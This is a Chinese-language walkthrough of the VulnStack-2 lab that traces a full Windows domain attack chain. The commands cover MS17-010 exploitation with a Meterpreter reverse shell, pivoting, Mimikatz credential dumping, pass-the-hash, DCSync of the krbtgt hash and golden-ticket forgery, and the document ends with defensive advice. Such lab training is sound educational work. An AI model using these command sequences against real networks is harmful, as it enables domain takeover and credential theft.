内网渗透实战:从外网突破到黄金票据攻击的完整路径解析 1. 项目概述一次完整的内网渗透实战推演如果你对渗透测试的学习还停留在单点漏洞的利用上比如拿下一个Webshell就止步不前那么你很可能错过了网络安全攻防中最精彩、也最考验综合能力的部分——内网横向移动。今天我想通过一个非常经典的靶场环境“VulnStack-2”来完整地拆解一次从外网突破到内网纵深渗透的全过程。这个靶场模拟了一个典型的企业内网环境包含了域控制器、Web服务器和办公主机非常适合用来练习内网渗透的思路和技术链。整个流程会涉及信息收集、漏洞利用、权限提升、凭证窃取、横向移动以及最终利用黄金票据实现域控持久化可以说是一次“毕业级”的综合演练。对于安全从业者或学习者而言VulnStack-2的价值在于它提供了一个近乎真实的沙箱。你不仅能练习到像MS17-010永恒之蓝这样的经典漏洞利用更能深入到Windows活动目录AD环境中去理解Kerberos认证协议、票据Ticket在域环境中的核心作用以及如何滥用这些机制来实现隐秘而强大的控制。本次解析的核心就是带你一步步走通这条攻击链路重点聚焦在利用Meterpreter进行内网横向移动并最终通过伪造黄金票据Golden Ticket来夺取整个域的控制权。无论你是想巩固内网知识体系还是为实战做准备这篇详细的教程都能提供清晰的路径和可复现的操作步骤。2. 靶场环境与攻击路径总览2.1 VulnStack-2靶场拓扑与目标分析在开始任何攻击之前清晰地了解目标网络结构是第一步。VulnStack-2靶场通常由三台虚拟机组成它们模拟了一个简单的企业域环境。边界服务器Windows 7 / 2008这是我们的初始立足点。它通常扮演着对外提供Web服务的角色比如IIS并拥有两块网卡。一块网卡连接着模拟的“互联网”即我们攻击者所在的网络另一块网卡连接着内部网络。这台机器是通往内网的“大门”但本身可能不是域成员。域成员服务器Windows 7 / 2008位于内部网络已经加入了域。它可能运行着一些内部应用如文件共享服务、内部网站等。从边界服务器跳板到这台机器是我们进行内网横向移动的关键一步。域控制器Windows Server 2008 R2 / 2012整个域环境的核心负责所有域用户的身份认证和权限管理。它存储着域内所有账户的密码哈希NTDS.dit文件我们的终极目标就是攻陷它获取域管理员权限和关键哈希值。攻击路径非常明确首先我们需要从外网找到边界服务器的漏洞并攻破它获得一个初始的Shell例如Meterpreter。然后以边界服务器为跳板进行内网探测发现域成员服务器并利用其漏洞或窃取的凭证进行横向移动。最后在域成员服务器上提升权限、抓取哈希或转储票据并利用获取到的域管理员密钥KRBTGT账户的哈希来伪造黄金票据从而获得对整个域的持久控制权。2.2 核心工具与思路准备工欲善其事必先利其器。本次渗透主要依赖以下工具理解其作用比单纯记住命令更重要Metasploit Framework (MSF)渗透测试的瑞士军刀。我们将用它来发起初始攻击、生成Payload、建立Meterpreter会话并进行内网扫描和漏洞利用。它的强大之处在于集成了信息收集、漏洞利用、后渗透模块于一体。Nmap端口扫描和版本探测的标杆。在获得跳板后我们需要用它来探测内网存活主机和开放服务绘制内网地图。MimikatzWindows凭证提取神器。它可以从LSASS进程内存中提取明文密码、哈希值以及Kerberos票据。在域环境中它是横向移动和权限提升的“钥匙”。PowerShell现代Windows攻击离不开它。我们可以使用PowerShell脚本来进行更隐蔽的信息收集、文件传输和命令执行。整个攻击思路遵循一个经典的循环信息收集 - 漏洞利用/凭证窃取 - 权限提升 - 横向移动。在域环境中这个循环的核心驱动力是“凭证”。一旦获取到一个域用户的凭证哈希或票据攻击者就可以尝试访问域内其他资源如同一个合法的内部用户一样。3. 外网突破获取初始立足点3.1 信息收集与漏洞扫描假设我们已经通过常规手段如子域名扫描、目录爆破定位到了边界服务器的IP地址例如192.168.1.10。第一步是进行端口扫描了解其对外开放的服务。# 使用Nmap进行快速扫描识别开放端口和粗略的服务版本 nmap -sV -T4 192.168.1.10扫描结果可能会显示开放了80端口IIS、445端口SMB等。对于Windows靶场445端口是重点关照对象因为它可能存在着像MS17-010这样的远程代码执行漏洞。我们可以使用Metasploit内置的扫描模块进行针对性探测。msf6 use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(scanner/smb/smb_ms17_010) set RHOSTS 192.168.1.10 msf6 auxiliary(scanner/smb/smb_ms17_010) run如果扫描显示目标可能存在MS17-010漏洞那么我们就获得了第一个可靠的突破口。注意在实际靶场或授权测试中务必确认漏洞存在。盲目利用可能造成服务崩溃。MS17-010的扫描模块相对准确但并非百分百。3.2 利用MS17-010获取Meterpreter会话确认漏洞存在后我们就可以发起攻击。Metasploit提供了对应的利用模块。msf6 use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) set RHOST 192.168.1.10 msf6 exploit(windows/smb/ms17_010_eternalblue) set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) set LHOST [你的攻击机IP] msf6 exploit(windows/smb/ms17_010_eternalblue) set LPORT 4444 msf6 exploit(windows/smb/ms17_010_eternalblue) run如果利用成功你会看到一个熟悉的Meterpreter会话meterpreter 提示符。这标志着我们已经成功突破了边界在边界服务器上获得了系统级通常是SYSTEM权限的Shell。这是整个内网渗透的基石。实操心得永恒之蓝利用成功率很高但对系统稳定性有影响有时会导致目标蓝屏。在测试环境中无所谓但在需要隐蔽的实战中应优先寻找其他更稳定的入口点如Web漏洞。获得会话后第一件事是使用getuid和sysinfo命令确认权限和系统信息。4. 内网信息收集与侦察4.1 网络拓扑探测拿到边界服务器的控制权后我们相当于在目标内网中植入了一个“侦察兵”。首先需要了解这台机器所处的网络环境。meterpreter run post/windows/gather/arp_scanner RHOSTS192.168.52.0/24 # 或者使用meterpreter内置命令查看路由和网卡信息 meterpreter ipconfig meterpreter routeipconfig会显示该主机所有的网络接口信息。你很可能发现除了连接外网的网卡如192.168.1.10还有一块内网网卡假设其IP是192.168.52.141网关是192.168.52.138这很可能就是域控制器的IP。route命令可以查看路由表确认通往内网网段的路由。接下来我们需要以边界服务器为跳板扫描内网网段192.168.52.0/24内存活的主机及其开放端口。这里需要在MSF中为内网网段添加路由并启用socks代理让我们的攻击工具能通过这个跳板访问内网。# 在获得Meterpreter会话的MSF控制台执行 msf6 use post/multi/manage/autoroute msf6 post(multi/manage/autoroute) set SESSION [你的session id] msf6 post(multi/manage/autoroute) set SUBNET 192.168.52.0 msf6 post(multi/manage/autoroute) run # 添加路由后使用MSF的扫描模块探测内网 msf6 use auxiliary/scanner/portscan/tcp msf6 auxiliary(scanner/portscan/tcp) set RHOSTS 192.168.52.0/24 msf6 auxiliary(scanner/portscan/tcp) set PORTS 445,80,135,139,3389 msf6 auxiliary(scanner/portscan/tcp) run4.2 域环境信息枚举确认内网存活主机后我们需要判断哪些是域成员并收集域信息。可以在Meterpreter会话中执行PowerShell或CMD命令。meterpreter shell # 进入shell后执行域信息查询命令 C:\ systeminfo | findstr /B /C:Domain C:\ net view /domain # 查看存在的域 C:\ net group domain computers /domain # 查看域内计算机列表需要域用户权限 C:\ net user /domain # 查看域用户列表 C:\ net group domain admins /domain # 查看域管理员组如果当前权限通常是SYSTEM允许访问域信息这些命令将返回宝贵的数据。例如我们可能发现域名为TESTLAB.LOCAL域内有一台主机叫WIN7-TEST域管理员是Administrator。注意事项如果边界服务器本身不是域成员上述部分域查询命令可能失败。此时横向移动到一台域成员机器就变得至关重要。我们的扫描结果中192.168.52.143可能开放了445和3389端口它很可能就是我们的下一个目标——域成员服务器。5. 内网横向移动攻陷域成员服务器5.1 利用PTHPass-The-Hash进行横向移动在Windows网络中尤其是NTLM认证场景下我们常常不需要明文密码只需要用户的NTLM哈希值就可以进行身份验证这就是“哈希传递”Pass-The-Hash PTH。如果我们能在边界服务器上抓取到本地管理员的哈希并且这个账号密码在内网其他机器上复用这是一种常见的不安全配置我们就可以直接横向移动。首先在边界服务器的Meterpreter会话中抓取哈希。meterpreter load kiwi # 加载Mimikatz扩展Kiwi meterpreter creds_all # 尝试抓取所有凭证假设我们抓取到了本地管理员Administrator的NTLM哈希aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4LM:NT。如果内网的域成员服务器192.168.52.143的本地管理员密码相同我们就可以使用MSF的psexec模块进行横向移动。msf6 use exploit/windows/smb/psexec msf6 exploit(windows/smb/psexec) set RHOSTS 192.168.52.143 msf6 exploit(windows/smb/psexec) set SMBUser Administrator msf6 exploit(windows/smb/psexec) set SMBPass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 msf6 exploit(windows/smb/psexec) set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/psexec) set LHOST 192.168.52.141 # 这里是边界服务器的内网IP作为反弹地址 msf6 exploit(windows/smb/psexec) set LPORT 5555 # 换一个新端口 msf6 exploit(windows/smb/psexec) exploit如果成功我们将获得一个在域成员服务器192.168.52.143上的新Meterpreter会话。这是内网横向移动的经典手法。5.2 利用窃取的域用户凭证如果PTH不成功我们可能需要寻找域用户的凭证。在域成员服务器上我们有可能抓到登录过的域用户哈希或票据。同样使用Kiwi模块。# 在新的域成员服务器会话中 meterpreter load kiwi meterpreter kiwi_cmd sekurlsa::logonpasswords这个命令会尝试从LSASS进程内存中提取所有登录会话的凭证。你可能会看到类似TESTLAB\zhangsan这样的域用户及其对应的NTLM哈希。拿到一个域用户的哈希后我们可以尝试用它来访问其他资源比如域控制器的SMB共享或者再次使用psexec等模块。更重要的是我们可以尝试使用这个域用户的票据Ticket。6. 权限提升与域控信息收集6.1 在域成员服务器上提权在域成员服务器上获得的初始会话可能不是高权限。我们需要将其提升至SYSTEM权限以便进行更深入的操作如无干扰地转储LSASS内存。meterpreter getsystem # 如果getsystem失败可以尝试本地漏洞提权例如使用MSF的本地提权模块进行扫描 meterpreter background msf6 use post/multi/recon/local_exploit_suggester msf6 post(multi/recon/local_exploit_suggester) set SESSION [当前域成员服务器的session id] msf6 post(multi/recon/local_exploit_suggester) run该模块会建议可能成功的本地提权漏洞。选择一个合适的进行利用直到获得SYSTEM权限。6.2 转储域控密钥获取KRBTGT哈希我们的终极目标是获取域控制器上krbtgt账户的NTLM哈希。krbtgt是域Kerberos认证服务账户它的哈希用于加密和签名所有票据授予票据TGT。有了它我们就可以伪造黄金票据。要获取krbtgt哈希通常需要域管理员权限。有两种主要途径直接攻陷域控制器利用域控上的漏洞如MS14-068, Zerologon等直接获取SYSTEM权限然后转储NTDS.dit数据库文件。使用域管理员凭证如果我们之前抓取到的域用户恰好是域管理员或者通过其他手段如键盘记录、钓鱼获得了域管理员密码/哈希我们就可以使用该凭证远程访问域控并提取哈希。在VulnStack-2靶场中路径1可能更直接。假设我们通过漏洞利用或抓取的域管凭证在域控192.168.52.138上获得了SYSTEM权限的会话。然后我们可以使用Mimikatz转储哈希。# 在域控的Meterpreter会话中 meterpreter load kiwi meterpreter kiwi_cmd lsadump::dcsync /domain:TESTLAB.LOCAL /user:krbtgtdcsync命令模拟域控制器复制数据的行为直接从域控拉取指定用户这里是krbtgt的哈希而无需交互式登录或接触磁盘上的NTDS.dit文件。这是最优雅的方式。命令执行后你会得到krbtgt账户的NTLM哈希例如b0974b...省略。请务必完整记录这个哈希值它是生成黄金票据的“原料”。实操心得dcsync需要域管理员或同等权限。如果权限不足可能需要先进行本地提权或寻找其他漏洞。另外转储操作可能会被高级别的EDR终端检测与响应产品记录和告警。7. 黄金票据Golden Ticket攻击详解与利用7.1 Kerberos协议与黄金票据原理浅析要理解黄金票据的威力需要一点Kerberos基础。在Windows域中用户访问资源如文件共享时会使用Kerberos协议认证。简单来说用户向域控制器KDC提供密码哈希申请票据授予票据TGT。KDC用krbtgt账户的哈希加密TGT并返回给用户。用户用TGT向KDC申请访问特定服务的票据ST。用户将ST提交给服务端进行访问。黄金票据攻击的核心在于跳过第1步。攻击者一旦拥有了krbtgt的哈希就可以自己伪造一张TGT即黄金票据并且可以在这张伪造的TGT里声明自己是任何用户甚至是域中不存在的用户属于任何组比如域管理员组。因为KDC在验证TGT时只使用它自己的krbtgt哈希来解密和校验。既然我们有了这个哈希我们就能造出任何KDC都无法辨认真伪的“万能钥匙”。7.2 使用Mimikatz伪造黄金票据现在我们回到了那台拥有普通域用户权限的域成员服务器192.168.52.143上。我们手里有域名TESTLAB.LOCAL域SID可以通过whoami /user或wmic useraccount get name,sid命令获取一部分然后去掉末尾的-RID。例如域SID可能是S-1-5-21-4158997483-2756732686-3135025306。krbtgt的NTLM哈希b0974b...我们在该服务器的Meterpreter会话中最好是SYSTEM权限执行以下Mimikatz命令meterpreter kiwi_cmd kerberos::golden /domain:TESTLAB.LOCAL /sid:S-1-5-21-4158997483-2756732686-3135025306 /rc4:b0974b...你的krbtgt哈希 /user:fakeadmin /groups:512 /ptt/domain指定域名。/sid指定域SID。/rc4指定krbtgt账户的NTLM哈希在Kerberos RC4加密算法中使用NTLM哈希作为密钥。/user指定要伪造的用户名可以是任意名字比如fakeadmin。/groups指定用户所属的组。512是“Domain Admins”组的RID。这意味着我们将伪造的用户加入了域管理员组。/pttPass The Ticket的缩写表示直接将生成的黄金票据注入到当前会话的内存中。执行成功后会提示“Golden ticket for ‘fakeadmin TESTLAB.LOCAL’ successfully submitted for current session”。这意味着黄金票据已经注入到了当前进程的内存中。7.3 验证黄金票据权限票据注入后并不会立刻改变当前进程的令牌Token。我们需要打开一个新的进程如CMD来承载这个新的身份。在Meterpreter中我们可以使用shell命令进入一个CMD然后尝试访问域控制器的资源。meterpreter shell C:\ dir \\DC.TESTLAB.LOCAL\c$ # 尝试列出域控制器C盘目录如果之前没有权限现在应该可以成功访问了这说明我们伪造的“fakeadmin”用户已经拥有了域管理员权限。我们还可以尝试使用psexec直接获取域控制器的SYSTEM shell完成对整个域的完全控制。# 在MSF中使用之前注入票据的会话作为跳板利用psexec攻击域控 msf6 use exploit/windows/smb/psexec msf6 exploit(windows/smb/psexec) set RHOST 192.168.52.138 # 域控IP msf6 exploit(windows/smb/psexec) set SMBUser fakeadmin msf6 exploit(windows/smb/psexec) set SMBPass [任意密码因为认证靠票据密码字段可忽略或随便填] msf6 exploit(windows/smb/psexec) set SMBDomain TESTLAB.LOCAL msf6 exploit(windows/smb/psexec) exploit如果一切顺利你将获得一个域控制器上的SYSTEM权限会话标志着整个域已经沦陷。8. 攻击链总结与深度防御思考回顾整个VulnStack-2的渗透过程我们走通了一条经典的内网攻击链外网漏洞突破 - 内网信息收集 - 凭证窃取/哈希传递横向移动 - 权限提升 - 域控密钥窃取 - 伪造黄金票据实现全域持久化。每一个环节都利用了不同的安全弱点边界系统未及时打补丁、内网密码复用、Kerberos协议本身的信任模型等。对于防御者而言这个靶场演练揭示了多层防御的必要性边界防护及时更新系统补丁尤其是像MS17-010这种危害巨大的漏洞。严格限制对外开放的端口和服务部署WAF、IDS等设备。内网分区与隔离不要相信内网是安全的。通过VLAN、防火墙策略对内部网络进行细分限制不同区域间的横向访问特别是关键服务器区域。权限最小化与凭证管理杜绝本地管理员密码在内网多台机器上复用。实施最小权限原则普通域用户不应拥有本地管理员权限。定期更改高权限账户密码特别是krbtgt账户密码更改两次因为Kerberos有票据生命周期。监控与检测部署终端检测与响应EDR和SIEM系统监控异常登录行为如非工作时间、陌生IP、PsExec的使用、LSASS内存读取、Mimikatz进程创建、异常的Kerberos票据请求如请求包含高权限组的TGT等。强化Kerberos如果环境允许可以启用Kerberos Armoring使用AES加密而非RC4并考虑部署微软的LAPS本地管理员密码解决方案来管理本地管理员密码。黄金票据攻击之所以危险是因为它发生在认证协议的核心层面且krbtgt密码一旦泄露除非重置且所有票据过期否则攻击者可以持续制造有效票据。因此定期如每半年或一年重置krbtgt账户密码是缓解该威胁的最佳实践尽管这个过程需要精心规划因为会影响到域内所有计算机和用户的票据更新。通过VulnStack-2这样的靶场反复练习攻击者可以精进技术而防御者则能更深刻地理解攻击者的视角和路径从而构建起更立体、更有效的安全防线。安全本质上是一场攻防双方的博弈知己知彼方能百战不殆。